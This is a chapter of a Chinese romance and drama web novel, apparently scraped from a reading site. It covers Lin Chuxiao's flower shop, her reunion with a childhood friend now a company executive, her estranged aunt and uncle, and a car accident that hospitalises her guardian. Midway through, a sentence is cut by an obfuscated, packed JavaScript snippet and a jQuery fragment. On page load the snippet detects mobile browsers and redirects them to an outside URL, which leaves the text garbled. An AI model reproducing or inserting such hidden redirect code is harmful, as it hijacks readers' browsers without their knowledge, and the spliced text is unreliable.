19. Chapter 19

作品:《暂时无法接通

    林初晓赶回晨间花语,门口空空,不见半点记者的影子。


    推门进去时恰好与苏峥打了照面,对方朝她点点头,快步离开。


    花店内岁月静好,池砚舟正擦拭工作台“晓晓,你可算回来了,刚才一堆记者怼着我和向妤问东问西。”


    池砚舟见林初晓回来,丢掉抹布,迎上来挽住林初晓的胳膊,头靠在她的肩上。


    林初晓一口气问出好多问题,“向妤呢?记者呢?还有苏峥怎么在这里?”


    “向妤我让她先回学校了,记者被苏峥劝走了。”


    林初晓点点头,“这么说苏峥今天帮了我们大忙。”


    池砚舟目光追随苏峥离开的方向,喃喃,“男人最大的魅力在于他解决问题的能力,晓晓,我get到熟男了。”


    林初晓弯弯嘴角,就知道自己cp没磕错,熟男萌妹天生一对,看池砚舟满脸花痴,“刨去苏峥的外表不说,他真的很有魅力。”


    年纪轻轻担任上市公司总裁,大刀阔斧改制,力挽狂澜。


    池砚舟摇头,“放心,刨不去,他那张脸占90%。”


    妥了,她抽空搬家吧,万一哪天撞到人家小情侣亲亲我我就不好了。


    晨间花语逃过一劫,但云居科技显然没那么幸运。


    次日唐卫反水,抵死不要赔偿,网络上铺天盖地的云居体验馆毒草事件,公司花钱□□,但效果不佳,营业额持续下滑。


    体验馆是林初晓在云居的第一个项目,她这两天魂不守舍,一直琢磨补救措施,往日公交车站到晨间花语不到五分钟的路程,硬是让她走出十多分钟。


    心情郁闷时连人行道上的小石子都觉得碍眼,林初晓用力将石子踢出老远,视线追随滚动的石子,彷佛积压的心绪一并远去。


    石子咕噜噜朝前,停在离晨间花语咫尺之距,花店前驶来一辆出租车。


    中年男女从车上下来,半旧的厚外套,裤脚沾着泥土,那两张脸她再熟悉不过,梦中屡屡企图推她入地狱。


    舅舅方腾和舅妈王珍,他们怎么来了?


    中年男女对大城市十分新鲜,四处张望,林初晓顿时警铃大作,迅速闪躲至树后,粗壮的树干遮挡她的身形。


    路边停着的白车车窗落下,露出一张熟悉且魅惑的面庞,李今熠浅笑着和林初晓打招呼,“晓晓姐,要不要上车坐坐?”


    体验馆事发三天,江科集团向他抛出橄榄枝,李今熠一举成为整个宁南最年轻的集团副总。


    如今的李今熠意气风发,老话儿果然不错,人逢喜事精神爽,升职加薪更是大补。


    “小李总有事找我?”


    江科副总出现她的必经之路,并主动邀请,肯定是有事要说。


    李今熠点点头。


    眼下花店回不去,左右也是等着,林初晓依言拉开副驾驶车门,上车落座。


    “晓晓姐老家是北省菏市?”


    “对。”


    她从不与人提起老家,李今熠应该是在员工档案上看见的。


    “我老家也是菏市,咱们是老乡。”


    林初晓有些摸不着头脑,弯弯嘴角,表现出遇到老乡的惊喜,“好巧,我们是老乡。”


    汽车前视镜清晰地倒映她僵硬的笑容,表情没到位,回答也机械。


    算了,李今熠先套近乎,后面要说的事肯定是大事,林初晓静静等待下文。


    “小时候和我爸爸住在小城的小巷子里,巷子头有家花店,花店店主家有个大我三岁的姐姐,我非常喜欢跟她玩……”


    林初晓越听越熟悉,记忆如潮水般袭来,那时林初晓妈妈在青致县开花店,旁边花巷有户人家的儿子比她小三岁,生的像洋娃娃一样漂亮,跟在她屁.股后面姐姐姐姐的叫。


    恍恍惚惚记得,小名叫一一的小男孩也是狐狸眼。


    细看眉眼,还有小时候的影子。


    林初晓惊呼道:“你是一一?”


    李今熠竟然是一一。


    “姐姐,”李今熠狐狸眼弯弯,黑瞳亮得出奇,“你终于想起来了。”


    撒娇的语气和小时候如出一辙,活像只粘人的小狐狸。


    晨间花语的玻璃门从里推开,中年男女失望的神情一览无余,说是败兴而归再合适不过。


    “他们儿子上个月喝醉酒打架,把人打进医院赔了不少医药费。”李今熠凝视中年男女离开的背影,为林初晓解释。


    说的是她舅舅舅妈的宝贝儿子,方天赐。


    “姐姐,害怕的话,可以交个男朋友保护你,最好是知根知底的。”


    李今熠巧妙地转换话题,打破车内沉重的氛围。


    林初晓顺手敲了他的脑壳,“真是长大了,连姐姐都打趣。”


    十八岁的林初晓不害怕,二十五岁的林初晓更不害怕,只是被她舅舅舅妈缠上很麻烦,势必影响花店乃至身边亲友,所以能避一时是一时。


    李今熠顺手递给她一瓶果汁,冰冰凉凉的果粒橙,瓶身尚带着汽化的水雾。


    林初晓不喜欢冰水,碍于情面,她不好意思拒绝,接过塑料瓶被冰的一激灵,“你是怎么认出我的?”


    她小时候是个胖小孩,白胖白胖的胖妞,直到李今熠从花巷搬去市里,她依旧强壮如牛。


    李今熠垂眸笑笑,“直觉,见到你的第一眼我就认出来了。”


    再加上林初晓是浅瞳,明亮似琥珀,眼睛尤其好认。


    她认人不如李今熠,明明他基本上是等比例放大,她还是没认出来。


    手机屏幕亮起,池砚舟发了张中年男女背影的照片,催促她快些回来。


    “花店那边催我了,我先走了,有事随时联系。”林初晓拉开车门,抬腿迈向地面。


    她步履匆匆,片刻走远道,李今熠手肘随意地搭在降下的车窗上,目光追随她离去的身影,勾唇一笑。


    车内似乎残存着长期同花卉打交道沾染的花香,淡淡的,于他而言却是致命的诱惑。


    抬眸望见街对面,沈之南站在信号灯附近,信号灯由红变绿,他仍旧直挺挺地伫立,离得远些,看不真切他的表情。


    李今熠的笑意更盛,眸中的挑衅呼之欲出。


    信号灯斜对角的晨间花语,池砚舟正绘声绘色讲述刚刚她是怎么和林初晓舅舅舅妈斗智斗勇。


    “你舅舅舅妈现在以为花店是我的产业,你的危机暂时解除了。”池砚舟大拇指指向自己,一脸求夸奖的表情。


    “刚才你从谁车上下来的?”池砚舟朝林初晓眨眨眼。


    “前同事李今熠,之前非山团建你见过,说起来也巧,他是我老乡,小时候经常一起玩。”


    池砚舟恍然大悟,“噢~青梅竹马。但为什么是前同事?”


    林初晓解释,“人前几天跳槽江科,现在是江科副总。”


    池砚舟喃喃,“没听说江科高层有谁离职啊。”


    江科集团高层是退一补一,再由股东投


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17080172|194991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    票,没有十天半个月流程都走不完。


    “谁知道,兴许是集团业务扩张,急用人吧。”


    林初晓说着脱下外套,将手机搁在收银台上,消息不断弹出,屏幕不断亮起,她捞起手机,定睛一看,工作群炸了。


    【吴越出车祸了?真的假的?】


    【真的,我家亲戚在市医院,吴越在ICU躺着呢。】


    有同事转进来一篇市交通局的公众号推文,关于车祸的详细报告。


    林初晓点开。


    事故发生在昨晚凌晨,临江大桥上小型货车和轿车相撞,轿车车身挤压变形。


    轿车车主吴某重伤昏迷,肇事方已被刑拘……


    昨天体验馆误触大豕草中毒的唐卫像人间蒸发了似的,姓名电话工作单位通通是假的,凌晨吴越又出了车祸。


    直觉告诉林初晓,吴越肯定知道些什么。


    聊天软件再次弹出浮窗,谭姨发来的消息打断了她的思考,“舟舟,谭姨度假圆满收官,后天飞宁南的机票。”


    池砚舟喜不自胜,“太好了,我想死谭姨了。”


    “对了,你记得把手机静音关掉,万一错过谭姨的电话怎么办?”


    林初晓不以为然地摇头,“手机整天带着,不会错过电话的,那么多年我有漏回你一条信息吗?”


    池砚舟一想,确实没有,也不再多说,帮着林初晓整理新到的蜜桃雪山和康乃馨。


    林初晓父母的忌日快到了,谭芮算着时间回国八成也是因为这事。


    店外淅淅沥沥下起小雨,雨帘如丝,像对离世亲人的思念,细细密密,绵绵不绝。


    金黄的梧桐叶在水汽弥漫的雨雾天,轻盈坠地,水滴一下一下打在它的脉络上,成为路边刺眼的一抹黄。


    林父脑溢血去世的那天,林初晓和母亲接到电话赶去现场的时候,身穿黄衣的林父安详地躺在人行道上,与枯黄的落叶融为一体,全身被雨水打湿,水滴顺着骨骼的纹路滑到地面,吕记汤包散落一地。


    林初晓第一次厌恶秋天,厌恶枯黄的落叶。


    120把他抬上担架,印象中高大魁梧的人从炉子里出来,小小一罐,十岁出头的林初晓毫不费力就能将父亲抱在怀里。


    自此阴阳两隔,她与至亲再不相见。


    深秋的雨一场冷过一场,林初晓当晚换了床稍厚的被子,翌日线衣换成毛衣,早早来到体验馆为重新营业做准备。


    林初晓和体验馆工作人员仔细检查了每一株植物,防止毒草混入,忙活整整一上午,刚准备休息会,池砚舟气喘吁吁地跑来,语气焦灼,“晓晓……不好了……谭姨下飞机坐的车被人撞了,人现在在医院。”


    谭姨不是明天的飞机?怎么会被撞?林初晓脑海“轰”地一声炸开,池砚舟还在说话,但她已经听不见了,耳畔只有断线声和心跳声,她手心沁出汗意,颤,抖地拿出放口袋一上午的手机。


    十多通市医院的未接电话。


    林初晓顾不得其他,抓起外套打车前往医院。


    今天宁南的路特别堵,她盯着导航界面的拥堵路线,手指紧紧攥住机身,指尖因用力泛白。


    难道谭姨也会离开她么?


    巨大的恐惧感吞噬她,比恐惧更汹涌的是懊悔,要是她的手机不是常年静音,能接到医院的电话,她是不是早就到了医院?


    升平路中段离市医院两公里的路程,林初晓索性和池砚舟直接下车,朝医院的方向飞奔。